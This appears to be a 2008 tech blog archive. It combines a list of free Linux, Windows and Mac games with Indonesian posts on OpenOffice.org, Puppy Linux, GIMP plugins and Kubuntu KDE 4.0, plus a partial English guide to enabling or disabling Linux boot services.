Scorched 3D - (Linux, Windows, Mac) Scorched 3D is a combat game based heavily on the classic DOS game Scorched Earth, “The Mother Of All Games.” Scorched 3D adds a 3D island environment and LAN and internet play. At its lowest level, Scorched 3D is just an artillery game with two+ tanks taking turns to destroy opponents in an arena. Choose the angle, direction and power of each shot, launch your weapon, and try to blow up other tanks. That’s basically it. The mods are what make this game a winner through 2008. The game includes an Apocalypse mod, Operation Scorched, Scavenger Hunt, Scorch Wars mod and more. Version 41.3 Released was just released on 20 January 2008. Price: Free. Download.
Frets On Fire - (Linux, Windows, Mac) Winner of the Assembly Demo Party 2006, Frets on Fire is a Finnish music video game created by Unreal Voodoo. Players use the keyboard like a guitar to play along with scrolling on-screen musical notes to complete a song. One hand is used to press the ‘frets’ (F1 to F5) and another is used to press the ‘picks’ (Shift or Enter). Colored markers that appears are to be played by pressing ‘frets’ of the correct color and ‘picks’ at the correct moment. There are also song editors and tutorials featured in the game. Frets on Fire is free and open-source software. The game is written in the Python programming language and is licensed under the GNU General Public License, though the game incorporates other free and open-source code under other licenses. The game’s included song files and some internal fonts are proprietary, however, so their redistribution is not permitted. Price: Free. Download.
Secret Maryo Chronicles - (Linux, Windows) Secret Maryo Chronicles (SMC) is an open source two-dimensional platform game with a style designed similar to classic sidescroller games. Gorgeous graphics and interesting levels make for a refreshing take on Super Mario. SMC comes with an in-game editor - activated with the F8 key in the game. You can insert enemies, change the player start position on the level, insert active Sprites, and create half-massive Sprites which the Player can jump through, but can not fall through, etc. and more. The Powerup collections are where you begin to beat levels. Go to the site (linked above) to learn more about various graphics, sprites, and change player starting positions along with various levels and worlds. Although this is a simple game, the Powerup layers make SMC complex and fun. Price: Free. Download.
World Of Padman - (Linux, Windows, Mac) WOP is a new and free comic style game that uses the Quake 3 engine. The game was recently featured in 3 German magazine covers; PC Action, BRAVO Screenfun and Linux Intern. This game features full bot support for all game types. All you off-line gamers out there will be happy to play Spray your Colour, Big Balloon and Last Pad Standing with bots. The bots play very well, and most maps have been optimised for good bot play. They included all engines to all installers, so you don´t need to download WoP multiple times if you have more than one OS running, but the installer for your preferred OS - look for the engines in the XTRAS/engines folder. Padman grabbed fourth place in the Mod of the Year Awards 2007 for Indie games. Price: Free. Download.
Vendetta - (Linux,Windows, Mac) This MMO permits thousands of players to interact as the pilots of spaceships in a vast universe. Users may build their characters in any direction they desire, becoming rich captains of industry, military heroes, or outlaws. A fast-paced, realtime “twitch” style combat model gives intense action, coupled with the backdrop of RPG gameplay in a massive online galaxy. Three major player factions form a delicate balance of power, with several NPC sub-factions creating situations of economic struggle, political intrigue and conflict. The completely persistent universe and detailed storyline add to the depth of immersion, resulting in a unique online experience. Price:Try the game for free, no strings attached, no credit card required. Sign up for a trial account, download the client and play whenever you like, up to a total of eight hours in the game. If you decide Vendetta Online suits you, it’s easy to upgrade to a paying account (major credit cards, PayPal, and other methods accepted). Rates are configured by the month, and they offer bulk discounts for larger blocks of time. Download (trial account).
Sauerbraten - (Linux, Windows, Mac) Sauerbraten (a.k.a. Cube 2) is a free multiplayer/singleplayer first person shooter, built as a major redesign of the Cube FPS. Although Sauerbraten shares most of its design goals and philosophy with Cube, it sues a new 6-directional heightfield world model. This allowance provides much more complex level geometry and easier editing. Much like the original Cube, the aim of this game is not necessarily to produce the most features and eye candy possible, but rather to allow map/geometry editing to be done dynamically in-game, to create fun gameplay and an elegant engine. In addition to the FPS game which is in a very playable state, the engine is being used for an RPG which is in the preproduction phase. The scenes are reminiscent of Myst, with Gothic perspectives and realism. Price: Free. Download (Linux, Windows) Download (Mac)
VDrift - (Linux, Windows, Mac) VDrift is a cross-platform, open source driving simulation made with drift racing in mind. With 19 tracks and 28 cars, you can see plenty of action from this game. It uses a simple networked multiplayer mode, and the physics are realistic. Plus, you have options for the Mouse/joystick/keyboard driven menus. You also have the ability to ability to exchange replays, allow the player to tune the car in the game and exchange settings, grip mode with single player time trial, head to head multiplayer, and time trial multiplayer, drift mode with single player time trial, head to head multiplayer, and time trial multiplayer, autocross mode with in-game editor, singleplayer time trial, multiplayer time trial and more. Price: Free. Download.
Vegastrike - (Linux, Windows, Mac) Vega Strike is a GPL 3D OpenGL Action RPG space sim that allows a player to trade and bounty hunt in the spirit of Elite. You start in an old beat up Wayfarer cargo ship, with endless possibility before you and just enough cash to scrape together a life. Yet danger lurks in the space beyond. As you play, you will see that several species and numerous political entities are present in the game, and they do not all co-exist peacefully. With the invasion of the Union of Dispossessed Colonists,a lesser political entity, the brink of war has been reached between the human dominated Confederation of Inhabited Worlds and the Aeran Ascendancy even as the border between the Rlaan Assembly and the Aera still smolders under a long, tense cease-fire that has failed to become a peace. The Vega Strike engine serves as the foundation for the Privateer Gemini Gold, Privateer Remake, Vega Trek, and Pi Armada projects. Price: Free. Download.
Battlestar Galactica: Beyond the Red Line - (Linux, Windows, Mac) Beyond the Red Line is a stand-alone total conversion for the award-winning Freespace 2 released by Volition and Interplay for the PC. It is based on the popular new tv-show Battlestar Galactica, not the one from the 70s. You’ll enjoy detailed high-resolution ship models, quality engineered audio, original in-game soundtrack in addition to pieces by Bear McCreary and Richard Gibbs. Head online and go head-to-head with your friends—and foes—in intense multiplayer missions including Deathmatch, Capture the Flag, and others as you experience exciting Viper combat with authentic weaponry and flight controls. Price: Free. Download.
Excalibur: Morgana’s Revenge v3.0 (EMR 3.0) - (Linux, Windows, Mac) EMR is a unique scenario based upon the Aleph One (Marathon) engine. It is a first-person action adventure game, featuring an epic and in-depth story line. As a Federation Marine resting after your last mission, you start aboard the exploration class Starship Kronos where you learn that your real mission has yet to begin. You are re-acquainted with the AI Merlin, who introduces you to Kronos time traveling technology, and reveals your new mission: to save mankind from the clutches of Morgana and her minions. Through untamed raptor-infested jungles, castle arenas, and war-torn streets of the future, you will wield weapons from all time periods - including the Sword of Power, Excalibur - in an effort to thwart the diabolical plot that unfolds. The EMR adventure, spread across 42 solo levels, weaves a tale of truth and honor, knighthood and bravery, and darkness and treachery. EMR also delivers 27 adrenaline pumped network levels. EMR immerses you in an amazing new world, creating an addictive, fun and unique gaming experience. Price: Free. Download.
TrueCombat: Elite (TC:E) - (Linux, Windows, Mac) TC:E is a modern world total conversion modification of the free, popular, stand-alone FPS Wolfenstein Enemy Territory. Meaning, Truecombat Elite is an entirely free game, made by gamers, for gamers. TC:E currently is being developed by GrooveSix Studios and TeamTerminator. While TeamTerminator is known for the famous Q3 based TrueCombat series, GrooveSix Studios was initiated by retired TeamTerminator co-founder Coroner to develop a Return to Castle Wolfenstein modification that is not released. Thus, as very experienced Quake3 based content creators, TC:E hopes to serve the gaming community with a quality offering. Until then, TC:E puts you into the role of elite mercenary soldier in the conflicts of two internationally operating forces. Their recent Nations Cup game was a total success. Price: Free. Download.
Tux Racer - This is a 3D game that stars the Linux mascot, Tux, the penguin as he races down steep, snow-covered mountains. Enter cups and compete to win the title. Your journey starts as you compete on local courses. Win and you will unlock other courses and cups that will lead you to more exciting and challenging races. As you can tell from the Web site, the last release of Tux Racer was version 0.61 on 29th October 2001. Despite its age, Tux Racer is a friendly open source game that derives its popularity from its replay value and the fact that it can be extended with easy modification. Tux Racer includes a variety of options for gameplay, including the ability to race courses in fog, at night, and under high winds. Users can create new maps by making three raster images to indicate height, surface, and object placement. Price: Free; Download.
The Open Racing Car Simulator (TORCS) - (Linux, Windows, Mac) TORCS is a highly portable multi platform car racing simulation. It is used as ordinary car racing game, as AI racing game and as research platform. TORCS features more than 50 different cars, more than 20 tracks, and 50 opponents to race against. You can steer with a joystick or steering wheel, if the device is supported by your platform, but it’s possible to drive with the mouse or the keyboard as well. Graphic features lighting, smoke, skidmarks and glowing brake disks. The simulation features a simple damage model, collisions, tire and wheel properties (springs, dampers, stiffness, …), aerodynamics (ground effect, spoilers, …) and much more. The gameplay allows different types of races from the simple practice session up to the championship. Enjoy racing against your friends in the split screen mode with up to four human players. The next big development goal is an online racing mode. Price: Free. Download.
Flight Gear - (Linux, Windows, Mac) The idea for Flight Gear was born out of a dissatisfaction with current commercial PC flight simulators. The Flight Gear project is striving to fill these gaps. The goal of the FlightGear project is to create a sophisticated flight simulator framework for use in research or academic environments, for the development and pursuit of other interesting flight simulation ideas, and as an end-user application. These folks are, without a doubt, developing a sophisticated, open simulation framework that can be expanded and improved upon by anyone interested in contributing. In addition, Flight Gear has some of the most accurate and realistic terrain of any simulator. You can do some virtual sight seeing while practicing your flight! Price: Free. Download.
ManiaDrive - (Linux, Windows) ManiaDrive is a free clone of Trackmania, the great game from Nadéo studio, and is an arcade car game on acrobatic tracks, with a quick and nervous gameplay (tracks almost never exceed one minute), and features a network mode, as the original. Once you’ve got that installed you’ll be bumping along at break-neck speeds and flying off the track with an incredible ease reminiscent of Stunt-Trak Racer. In Maniadrive it’s both incredibly hard to stay on track and to complete the race in under the allotted time. This game features complex car physics, challenging “story mode,” a track editor, LAN and Internet modes, dedicated server with HTTP interface, and more than 30 blocks - full soundtrack. rading off some advertising for music appears to have snagged Maniadrive some excellent musical accompaniment. The music is both appropriate and has a very high production quality. Price: Free. Download.
D2X-XL - (Linux, Windows, Mac) D2X-XL is the most advanced and feature-rich user-enhanced version of Descent to date, as it offers many features like colored lighting, smoke, real-time shadowing, new weapon effects and new game modes that enhance the single-player experience and give new twists to multi-player games. As most ports, it retains full compatibility with the original game and can be switched in appearance between a graphically updated version, and the original look and feel of Descent. When you go to the Web site, make sure you roll your mouse over the side menu to understand the range of levels that can be downloaded. Price: Free. Download.
Hexen II: Hammer of Thyrion - (Linux, Windows, Mac) In 2000, Raven Software released the source code to their class based shooter game Hexen II and its multiplayer extension HexenWorld. Since then, there has been some source ports of this game, such as the now discontinued Anvil of Thyrion project, but nothing has been done for Linux since the beginning of 2002. The Hammer of Thyrion project is a cross-platform source port effort: The developers continue the progress for Linux, BSD and Mac OS X people, with continued support for Windows users as well. Many bugs are fixed and even new features are added: New sound modes, improved mouse handling, improved video modes, OpenGL glows and more. Price: Free. Download.
Ultimate Stunts - (Linux, Windows) This game makes the list because it’s a great work in progress, and we hope that it becomes one of the coolest auto games around. UltimateStunts is a remake of the famous DOS-game stunts. The game is not yet finished, but it already has some important improvements compared to the original game. Stunts was an old DOS game with simple CGA/EGA/VGA graphics, but Ultimate Stunts is a modern multiplatform application. Racing in Ultimate Stunts involves some really spectacular acrobtics, like loopings, corkscrews, bridges to jump over, etc. But the best thing about the new edition is that you can design your own tracks. It also has some new features, like 3D sound and (Internet) multiplaying. Price: Free. Download.
America’s Army: Special Forces - (Linux, Windows, Mac) We were a bit torn about adding this game, but it is one of the most popular games around and it seems it’s only going to gain more ground in 2008. And, as a service of sorts, we’d like to spread the word about the story behind this game. America’s Army is a free game offered by the US army as both a recruitment and training tool. The ethics of the game has often been debated (players with a slow connection are redirected to the Army’s recruitment centers where they can get a free CD of the game). But, going beyond this propoganda static, the entertainment value of the game is rather awesome as it’s constantly being updated with new maps and features. Player models are very detailed and the motion captured movements are light years ahead of many other military shooters. Focus in the last few editions has been on Special Forces operatives. Purely a multiplayer game, America’s Army comes as close to the real thing as any FPS. With that said, the weakness comes with team play, as there are no specifics that keep teams working as a unit. Considering this is a game produced by the U.S. Army, we wondered about that chink in the armor, so to speak. With that said, GameSpy tracked the game usage and reported an average of 4,500 players at any one time between 2002 and 2005. It was enough for America’s Army to rank in the Top 10 Online Games chart. Price: Free. Download.

Sumber : WebHostingDataBase

OOo 3.0 Beta

2008-05-20T15:59:00.001-07:00

tanggal 7 mei yg lalu OpenOffice.org 3.0 beta tester telah diluncurkan untuk diujicobakan. beberapa perubahan yang terlihat adalah antarmuka Start Centre, tampilan icon baru, dan zoom control yang terdapat di status bar. jika ditinjau lebih jauh banyak sekali fitur baru yang ditambahkan, seperti pada calc sekarang memiliki komponen solver, spreadsheet mendukung kolaborasi sharing workbook, peningkatan jumlah colom menjadi 1024 kolom per lembar. writer bisa ditampilkan dalam banyak halaman dalam mode edit dan memiliki fitur notes yg dikembangkan. draw dan impress telah mendukung operasi crop pada gambar.
Disamping itu OpenOffice.org 3.0 akan mendukung standar odf versi terbaru yaitu 1.2 dan memiliki kemampuan untuk membuka dan mengedit dokumen MS-Office 2007 atau MS-Office 2008 utk Mac OS X (.docx, .xlsx, .pptx, etc.) termasuk dukungan terhadap format dokumen microsoft sebelumnya (.doc, .xls, .ppt, etc.). OpenOffice.org 3.0 akan menjadi versi pertama yang jalan di Mac OS X tanpa X11 menggunakan tampilan aplikasi aqua. great job!!!

Puppylinux 4.00

2008-05-10T21:25:00.000-07:00

Beberapa waktu yang lalu puppylinux-4.0 telah dirilis oleh barry kauler sang maintainer yang asal Australia. Puppylinux yang asli dikembangkan di negeri kanguru tersebut sejak versi 3.00 kompatibel dengan slackware 12. Jadi bagi anda yang menginginkan aplikasi tambahan dapat menggunakan paket-paket slackware. Namun bukan berarti ia berbasiskan slackware (turunan slackware), karena ia dikembangkan berdasarkan release sebelumnya yang memang dibuat secara mandiri menggunakan utility T2-Porject. Hanya saja beberapa paket system disesuaikan dengan slackware sehingga kompatibel dengannya.
Bagaimana dengan versi 4.0, apa saja perbaikan dan kelebihan yg ditawarkan? anda bisa mendapatkannya disini. Pada release ini seluruhnya telah menggunakan basis system GTK-2 dan tidak lagi menggunakan GTK-1 dan Tcl/Tk. Hal ini untuk menjaga konsistensi user inteface dan tentunya mengurangi ukuran iso image.
Dalam percobaan penulis bootupnya terasa lebih cepat, masih menggunakan JWM window manager dan ROX-Filler sebagai file manager. di versi teranyar ini Puppy menggunakan aplikasi-aplikasi GTK2 semacam Fotox (image viewer), Gwhere (disk catalogger), Prename (batch file renamer), gFnRename (batch file renamer), Pfind (file search), Pprocess (process manager), Chtheme (GTK theme chooser), Pidgin (multiprotocol chat client), Gadm-Rsync (GUI for rsync), Wireless Autoconnect, Gtkam (digital camera interface), Xsane (scanner interface), ePDFView (PDF viewer), Pschedule (cron GUI), Osmo (personal organiser), Pcdripper (audio CD ripper), RipOff (audio CD ripper), mhWaveEdit (audio editor), Pburn (CD/DVD burner), MTR (traceroute), Pnethood (Samba client), Pwireless (wireless scanner) dan banyak lagi.
Untuk menginstall aplikasi tambahan menggunakan PETget yang sangat memudahkan. Menurut pembuatnya (belum saya coba), rilis kali ini mendukung penu utk scanner, camera, dan printing karena driver telah built-in. Untuk multimedia berfungsi dengan baik. Berbagai format audio dan video dapat dimainkan dengan mulus.
Untuk melihat review beberapa distro mini linux anda bisa melihat referensi berikut :
http://www.tuxmachines.org/node/26480

Manual OpenOffice.org

2008-05-06T16:37:00.000-07:00

Kebutuhan Manual OpenOffice.org 2.0 sewaktu migrasi sangat penting. Karena manual ini akan lumayan membantu user yang pengen belajar lebih jauh tentang OpenOffice.org 2.0.

Tutorial Offline

Versi bahasa Indonesia dalam fotmat PDF disediakan pihak LIPI. Yang butuh bisa ambil dari link ini: Manual OpenOffice.org 2.03.tar.gz. Simpan aja di server local. Sehingga user bisa akses dan baca dengan mudah pake pdf reader.

Sedangkan versi English, sepertinya di Ubuntu sudah ready juga. Coba install dengan cara ini:

sudo apt-get install openoffice.org-starter-guide

Cari aja di folder /usr/share/doc/openoffice.org-starter-guide. Dijamin lebih komplet n lebih keren deh. Ada baeknya di konversikan ke PDF dan di satukan dengan manual bhs Indonesia yang sebelumnya dibahas.

Tutorial Online

Tutorial online penting juga. Untuk nambah sumber bacaan. Beberapa point yang gak ada di edisi offline, bisa ditemukan disini. Coba pelajarin dari situs ini:

- http://www.tutorialsforopenoffice.org
- Lengkapnya cari aja di http://support.openoffice.org

40+ Plugins GIMP

2008-02-20T15:08:00.000-08:00

GIMP terkenal sebagai raja image editing pada platform Linux, dan sepopuler photoshop pada platform Windows maupun MacOS. Dengan dukungan komunitas pengembang yang sangat besar bahkan pemakainya yg lebih besar tidaklah mengejutkan jika GIMP begitu populer.
Sebagaimana Firefox, GIMP diperkuat dengan tambahan plugins, yang dikembangkan oleh komunitas opensource. Sejak dikembangkan oleh usernya sendiri GIMP tumbuh menjadi aplikasi yg sesuai dengan apa yang mereka harapkan dan melengkapinya dengan berbagai macam plugin.

Banyak diantara pengguna GIMP adalah seorang web-designer dan photographer dimana mereka juga membenahi berbagai bug yg terdapat dalam setiap releasenya. Jika anda tertari untuk mencobanya silakan dapatkan di link berikut GIMP

Berikut saya sertakan beberapa link penyedian plugins GIMP:

Web Design

Snow: Generate realistic 3D snow. Caution: Requires large amount of memory and swap memory.
Anti-aliasing: Smoothen and fix straight lines.
Adaptive contrast enhancement: Intelligent adjustment of contrast.
Fourier Transformation: GIMP plugin version of Fourier Transformation.
Refract/Reflect: Refraction effects to simulate falling water drops.
ShapeIt: Bend text or image according to information in map layer.
Borders: Add borders to your image.
SoapBubble: Create bubbles. Contains two versions, for GIMP v2.2 and v2.4.
Aqua Bou: Create web buttons in ‘Aqua Bou’ style easily.
Chrominium: Create a chrome logo with glow and sparkles.
Cloud Generation: For easy creation of clouds. Updated to work with GIMP 2.4, the latest version.
Gothic Glow: GIMP’s version of Gothic Glow action, originally for Photoshop.
Liquid Rescale: Content-aware rescaling. Keeps the features of the image while rescaling along a single direction.
Particle Deposition: simulates particle deposition on a surface. It generates small particles with random size and velocity and lets them fall onto the surface where they settle, increasing surface height in the place a bit.
Stampify: Make your image look like a postage stamp.
Plasma2: Newer version of the original Plasma plugin for GIMP.
SaveForWeb: Find optimal compromise between minimal file size and acceptable quality of image quickly. Useful for designers.
Steel Text: Create a text effect that looks like shiny steel (or gold) and a dropshadow.

Photography

Pandora: Stitch together multiple images to make a panorama.
Film Grain: Add film grain for a classic feel, to BW images.
Black Ink: Transform an image to a B&W drawing made with ink.
Copyright Text: Add a copyright text to image.
DeNoise: Noise reduction plugin using a modified Gaussian blur algorithm.
DustCleaner: Detect and remove the dust spots in digital image.
Astro-plugins: A set of plugins for astronomical image processing.
FocusBlur: Makes an image out of focus with luminosity and depth.
Lomo: Make photos clear, sharp and crisp. Especially useful for outdoor photographs.
ISO Noise Reduction: Implements an ISO noise reduction, using different methods (masking the edges, then blurring the individual color channels or the lumimance channel only).
Photo Effects: A bunch of scripts brought together in one script-fu file. Contains cartoon, color pencil, conte crayon, cutout, Drawing, ink pen, note paper, paint dot image, palette knife, pastel, stamp, water paint effect, wrap effect, angled strokes, crosshatched, chrome image, cross light, funky color, soft focus, solarisation, brick wall, patchwork, stained glass, texturizer, high pass, scroll effects.
RedEye: Quickly remove red eye effect caused by camera flashes.
ShadowRecovery: Recover image information in darked regions.
Shadows/Highlights: Eliminate shadows and highlights in photographs.
Refocus: Opposite of FocusBlur(listed above), this refocuses images. Provides better results than Unsharp masking which is built into GIMP.
PhotoToolbox: Perform several actions on a photo at once such as defocus, desaturate (several papers emulations), toning, add grain.
Light Filter: Provides basic filtering by adjusting colour levels of each pixels.
Gradient Along Path: Strikes a vector applying a gradient orthogonally to the path.
Landscape painter: Creates interesting paint effect that looks best with landscapes.
EZ Improviser: Improve dull, dingy images.
Edgy: Make an image look edgy.
Digital IR: Simulate a black and white infrared image.
Colour saturation: Change the color saturation of your image.
Blot: GIMP avatar of BlotBrush. Based on blot algorithm and works well with spatter or cloudy image.
GimpPublishr: Publish images to Picassa and Flickr directly from inside GIMP.

Miscellaneous

GIMP Dewierdifyer: (for Windows) Get rid of common window annoyances in the GIMP. It adds a background window that sits under GIMP. It groups other GIMP windows into one, so that when you’re alt+tabbing to other apps, only one icon of GIMP gets in your way.
Turing Pattern: Renders a kind of Turing pattern.
Yin-Yang+: A seemingly useless plugin, but fun nonetheless. Add yin and yang symbols. Also optionally add drop-shadows.

Further resources

Writing a GIMP plugin: Plugin guide in PDF, HTML, archive and XML formats.
GIMP plugin template: A blank plugin template that has the basic structure and reduces the time required to develop a plugin considerably. The direct link is currently here, but may change in future (if it changes, click the link on “GIMP plugin template”.
Writing plugins: Another guide for writing plugins, this one from GIMP.org’s developer site.
Writing Plugin: Another guide at GIMP.org main site.

Kubuntu-KDE4.0

2008-01-15T08:56:00.000-08:00

Kubuntu merupakan operating system varian dari ubuntu yang berbasis KDE, K Desktop Environment.

splash screen KDE 4.0

Pagi ini saya mencicipi KDE 4.0 yang terdapat di Kubuntu unofficial release LiveCD yg semalem dapet dari download. luarbiasa... performanya lebih kenceng. Menurut keterangan yg saya dapat KDE4 dgn dekstop baru plasma memakai pustaka QT 4 menjadikannya lebih ringan, performa 25% lebih cepat daripada kde3.x, dan tampilannya lebih intuitif (mirip vista). KDE 4.0 dibuat sebagai sebuah desktop yang benar-benar baru, berbeda dibandingkan versi sebelumnya.
Kicker (start menu di windows) memiliki beberapa sub menu berdasarkan lima kategori sebagaimana gambar berikut :Beberapa fitur baru yang disematkan dalam KDE 4.0 adalah Dolphin, sebuah desktop file manager pengganti Konqueror. Namun Konqueror secara default tetap sebagai web browser. Dolphin sebagai file manager baru tangkas melakukan tugas manajemen dan administrasi file. Dolphin terinspirasi oleh file manager mac yaitu, Finder, ditambah dengan Oxygen Theme sehingga tampilannya menjadi sangat cantik.
Perbaikan lainnya adalah Phonon (multimedia framework), Okular (document viewer yang mendukung OpenUsability) , dan Gwenview (image viewer). Sedangkan Konsole terminal menawarkan kemampuan split view sehingga mirip Midnight Commander.
Untuk melakukan instalasi ke harddisk, anda hanya memerlukan 6 langkah mudah. klik icon installer disisi pojok kiri atas desktop lalu ikuti beberapa langkah berikut:

pilih bahasa yang akan digunakan, default English
pilih regional setting mis:Jakarta, indonesia
masukkan identitas diri: nama user, password, nama komputer.
pilih partisi, ada dua pilihan a. use entire disk (default) b. manual. hati-hati pada langkah ini jika tidak mau kehilangan data anda.
pilih jenis keyboard. default US-qwerty.
klik install.

tunggulah prosesnya hingga selesai, lalu reboot.

Jika anda ingin mencoba silakan dapatkan file iso-nya di sini download the live CD (554MB), atau mirror lokal disini .

Comprehensive Linux System Services List: Explanation and Recommendation

2008-01-08T10:02:00.000-08:00

Linux services are basically programs that start at boot time to provide certain features and services (Apache, the web server for example). After installation, every Linux distribution provides a list of enabled services. However, you might not need some of these services or you might need others that are not enabled by default. Having only the services you need running will make your system faster, more stable and secure. So the first thing you need to do after installing a Linux distribution is to manually edit the list of enabled services. Unfortunately, some services don’t provide a description, others provide a description that’s not understandable so you might end-up disabling a vital system service just because you didn’t know what it did and you thought you didn’t need it.

In this post, I’ll try to explain as good as I can, most services you’ll see on a Linux distribution. However, most services list are based on what programs you have installed on your system so in this list, it’s possible to see services you don’t have or don’t see services your system has.

I’ll start by explaining how to manage the system services, how to choose which ones will start on system boot and which don’t.

For Fedora systems, just use the system-config-services tool that comes with the system. If it’s not installed, get it by running this command in a terminal:
$ sudo yum install system-config-services

Run it with:
$ sudo system-config-services

This is a GUI (graphical) application. If you have a server running Fedora with no monitor or no desktop environment installed, use ntsysv console-based application:

Install with:
$ sudo yum install ntsysv

Run with:
$ sudo ntsysv

For Debian (Ubuntu) systems, there’s a graphical application that comes with Gnome, I think. You can find it in the menu, under Administration / Services or run it by typing services-admin in a terminal. However, I’ve noticed that this tool doesn’t list all daemons in /etc/init.d so it’s better to use another. I don’t know of any other GUI system managers for Debian/Ubuntu so use one of the few console-based ones:

sysv-rc-conf
Install it with:
$ sudo apt-get install sysv-rc-conf

Run it with:
$ sudo sysv-rc-conf

or, sysvconfig
Install it with:
$ sudo apt-get install sysvconfig

Run it with:
$ sudo sysvconfig

Just use the one you’re most comfortable with.

SERVICES LIST

915resolution
Enable this if you have a video card with an Intel chipset.
This is a resolution modify tool for video cards with an Intel chipset. It allows you to modify the video BIOS of the 800 and 900 series Intel graphics chipsets. This includes the 845G, 855G, and 865G chipsets, as well as 915G, 915GM, and 945G chipsets. This modification is necessary to allow the display of certain graphics resolutions for an Xorg or XFree86 graphics server.

acpid and acpi-support
Enable this if you have a laptop or a fairly new desktop.
It provides utilities for using ACPI Modern computers support the Advanced Configuration and Power Interface (ACPI) to allow intelligent power management on your system and to query battery and configuration status. It’s also a flexible and extensible daemon for delivering ACPI events. These events are triggered by certain actions, such as pressing the Power button, pressing the Sleep/Suspend button, closing a notebook lid or (un)plugging an AC power adapter from a notebook.

alsa
Enable this if you have a sound card that uses ALSA. If you also have the ‘alsa-utils’ service, disable alsa and enable that.
ALSA is a sound driver for many sound card chipsets.

alsa-utils
Enable this if you have a sound card that uses ALSA and disable the alsa service, if you have it.
This provides several utilities for the ALSA driver, such as alsaconf, the ALSA driver configuration tool, alsamixer, a volume mixer and so on.

anacron
It’s up to you if you enable it or not.
This is a cron subsystem. Cron allows you to run an application at a certain time. For example, you can set it to run ‘updatedb’ every day at 4am. However, your computer might be turned off at 4am so this is when anacron comes into play. The next time you start your computer, it will run scheduled commands that couldn’t be run by cron because your system was shut off. It basically catches-up with system duties. So if you have any important schedules in cron, enable this.

apache2 or httpd
Enable it if you host a website on your computer.
I don’t think there’s a description needed here. Everyone knows what Apache or a web server is.

apmd
Disable it
This does what acpid does but as far as I know, this only monitors batter levels for old laptops. So you should disable it if your system supports ACPI.

apport
Disable it
apport automatically collects data from crashed processes and compiles a problem report in /var/crash/. This is a command line frontend for reporting those crashes to the developers. It can also be used to report bugs about packages or running processes.

atd
Disable it
atd runs the jobs scheduled by at, a daemon used to execute scheduled commands, just like cron. You don’t need this if you’re using cron.

avahi-daemon
Disable it unless you need it or have compatible devices or services.
Avahi is an implementation of zeroconf. In simple terms, Zero Configuration Networking is a standardised way of setting up a network without performing any manual configuration. A networked device that implements Zeroconf can obtain its own IP address, assign itself a human readable host name and advertise and discover services available on the local network without any human interaction what so ever. To give an example, the Pidgin chat client uses Zeroconf technology to discover chat parners on the local network. If you’re at a conference and you want to talk to other attendees about what is going on on the stage, you don’t have to know their names, IP addresses or what sort of computer they’re using. They simply appear in your buddy list as available to chat to. Zeroconf is widely supported in desktop applications and networked appliances. Almost every networked printer that currently ships advertises its printing service and HTTP configuration interface via Zeroconf. Applications such as the popular iTunes music player use Zeroconf to share music libraries and discover other people’s music on the network.

autofs
Safe to disable.
This mounts removable disks (such as USB harddrives) on demand. It is recommended to keep this enabled if you use removable media. I think this automounts a device when you plug it in (an usb storage device for example).

backuppc
Disable it.
This is the startup init script for BackupPC on Redhat linux.

binfmt-support
Disable it unless you need it.
If you don’t know what it is, just disable it. binfmt is a capability of the Linux kernel which allows arbitrary executable file formats to be recognized and passed to certain user space applications, such as emulators and virtual machines.

bluetooth
Disable it unless you have a bluetooth device.
Bluetooth is for portable local wireless devices (NOT wifi,802.11). Some laptops come with bluetooth support. There are bluetooth mice, headsets and cell phone accessories. Most people do not have bluetooth support or devices, and should disable this.

bootclean
Disable it.
I don’t exactly know what this does, but as far as I know, it cleans up the /tmp dir at boot time and also cleans pid files of daemons that were aggressively stopped for whatever reason. You might not even have this on your system.

bootlogd
Disable it.
This daemon logs boot messages to /var/log/boot. Pretty useless unless you have a problem at boot time and you can’t read it while booting.

bootmisc
Disable it.
This does miscellaneous during bootup such as update the /etc/motd.tail file.

brltty
Disable it unless you need it (hope not).
I don’t even know how i got this installed. BRLTTY is a daemon which provides access to the Linux console (text mode) for a blind person using a soft braille display. It drives the braille terminal and provides complete screen review functionality.

cpuspeed
Enable it if you need it.
This throttles your CPU runtime frequency to save power. Many modern laptop CPU’s support this feature and now many desktops also support this. Most people should enable only if they are users of Pentium-M, Centrino, AMD PowerNow, Transmetta, Intel SpeedStep, Athlon-64, Athlon-X2, Intel Core 2 hardware. Disable this if you want your CPU to remain at a fixed state.

cron
You should leave this on.
Cron is a daemon to execute scheduled commands. By default, it runs a couple of system checks scripts and other things.

cupsys or cups
Disable it unless you use a printer.

Cups is a cross-platform printing solution for all UNIX environments. It is based on the “Internet Printing Protocol and provides complete printing services to most PostScript and raster printers.

dbus or messagebus
Enable it.
D-BUS is first a library that provides one-to-one communication between any two applications; dbus-daemon-1 is an application that uses this library to implement a message bus daemon. Multiple programs connect to the message bus daemon and can exchange messages with one another.

dc_client or dc_server
Safe to disable.
Distcache is for distributed session caching. It is primarily for SSL/TLS servers. Apache can use this. Most desktop users should have these disabled.

dhcdbd
You can disable this.
This basically an interface for the DBUS system to control DHCP on your computer.

dns-clean
Disable it unless you have a dial-up connection.
Mainly for cleaning up the dns info when using dial-up connection.

dund
Disable it unless you need it.
This is a bluetooth Dial-Up-Networking Daemon. Provides PPP over RFCOMM services.

exim4
Disable it unless you know you need it.
Exim is a mail transfer agent (MTA) meant to replace sendmail.

festival
Disable it unless you know you need it.
Festival is a general purpose text-to-speech system. As well as simply rendering text as speech it can be used in an interactive command mode for testing and developing various aspects of speech synthesis technology.

firstboot
Safe to disable.
This service is specific to Fedora’s installation process meant to perform certain tasks that should only be executed once upon booting after installation. Even though it verifies it has been run before (using /etc/sysconfig/firstboot), it can be disabled.

functions
Leave it enabled if you have it.
This file contains functions to be used by most or all shell scripts in the /etc/init.d directory.

gdm
Leave it enabled unless you use KDE’s kdm. Don’t enable both.
This is the Gnome display manager. It allows you to boot directly into a GUI which prompts for your username and password and then starts a desktop manager like Gnome or KDE.

hal or haldaemon
Leave it enabled.
It’s a daemon for collecting and maintaining information about hardware.

halt
Leave it enabled.
A set of utilities which allow a system administrator to reboot, halt or poweroff the system.

hdparm
Leave it enabled.
This is a hard disk tunning script. It sets up certain disc parameters (such as DMA) at boot time.

hotkey-setup
Enable it if you need it.
hotkey-setup is used to setup some hotkey mappings for laptops. It’s a trivial init script that uses DMI information to attempt to detect the type of laptop in use. It then uses this information to bind keyboard scancodes to keycodes. The keycodes used are (in general) the same as those used on Microsoft keyboards. Supports most laptop manufacturers.

iptables
Leave it enabled unless you don’t need it.
his is the standard Linux software firewall. This is required if you are directly connected to internet (cable, DSL, T1). It is not required if you use a hardware firewall (D-Link, Netgear, Linksys, etc) but it is highly recommended.

irda
Disable it unless you have an infrared device.
This shell script takes care of starting and stopping IrDA support.

irqbalance
Save to disable unless you need it.
